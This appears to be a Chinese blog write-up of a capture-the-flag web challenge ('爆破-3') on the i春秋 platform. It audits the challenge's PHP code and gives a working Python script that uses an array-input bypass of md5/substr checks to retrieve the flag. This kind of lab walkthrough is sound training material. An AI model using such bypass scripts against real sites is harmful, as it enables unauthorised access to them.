爱春秋-爆破-3

作者: 追求科技的足球 | 来源:发表于2020-03-13 21:45 被阅读0次

实际上是给了一个php代码,进行代码审计:

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

来看一下函数作用:
error_reporting(0); ——关闭错误报告
session_start()——初始化session
isset() ——检测变量是否设置。
session_destroy ——销毁一个会话中的全部数据
range() ——创建一个包含指定范围的元素的数组。
mt_rand(min,max) ——使用 Mersenne Twister 算法返回min和max之间的随机整数。
.(点号)——连接字符串
substr(string,start,length)——返回字符串的一部分

那么得到代码的得到flag的方式:num++直到大于10,也就是session['whoami']==ea==value[0]+value[1]且md5加密后的value[5]-value[9]是0,同时,在循环后,session['whoami']会变成当前的str_rands

这样的话value必须有e和a,同时利用md5函数不能对数组进行处理的漏洞来绕过substr检验。

因此第一次上传的数据为?value[]=ea,此后上传的数据为?value[]=上次输出的两个字符。

又因为间隔小于120时间戳,因此使用python。

import requests as re

url='http://0b5611056b4148bfbe1c09d92e217b9e7e90e42a2d9249d8.changame.ichunqiu.com/'
session = re.session() //保持session
each = session.get(url+"?value[]=ea")
print(each.text)
for i in range(20):
    each = session.get(url+"?value[]="+each.text[0:2])
    print(each.text)

相关文章

  • 爱春秋-爆破-3

    实际上是给了一个php代码,进行代码审计: 来看一下函数作用:error_reporting(0); ——关闭错误...

  • i春秋CTF WEB-爆破

    爆破1,2,3 看似是爆破,其实可以直接GLOBALS查看所有的全局变量,其实考的是文件包含,六位字符的爆破实在是...

  • 英语音标基础6

    二、不完全爆破 ① 爆破音中的任何两个爆破音相邻时,前一爆破音失去爆破。 如:a bi(g) car等。 ② 爆破...

  • misc web 爆破-3

    题目内容:这个真的是爆破 思路:以数组的方式传递value的值,然后md5会false==0绕过。 学习到的知识p...

  • 侠姐说社群-如何用社群引爆新零售

    侠姐 3队2月18日社群盈利爆破第三期学习心得: 今天第3期社区盈利爆破课程主要是讲了社区盈利以及社群商业架构学的...

  • 肖像项目门店爆破复盘--2天完成117单

    一、项目爆破时间:2天线下培训+集中爆破11.3-11.4 二、项目目标:2天总开单数200单 三、参与人员:3个...

  • 爆破

    爆破分为失去爆破和不完全爆破,爆破可以发生在一个单词中也可以发生在两个单词之间。 失去爆破是一个爆破音后面紧跟着一...

  • 复盘11-23

    [本周学到的重要概念]:爆破音 [怦然心动的单词]:fall in love 陷入爱诃 [爱句]:No do...

  • S早起晨读团第九天

    1.[p] (1)是个爆破音,首先紧闭双唇,防止气流流出。(2)突然分开双唇,气流冲出口腔,同时发出爆破的声音(3...

  • hydra爆破使用手册

    hydra参数介绍 hydra爆破场景 hydra爆破API接口或表单 hydra爆破ssh服务

网友评论

    本文标题:爱春秋-爆破-3

    本文链接:https://www.haomeiwen.com/subject/vlntqhtx.html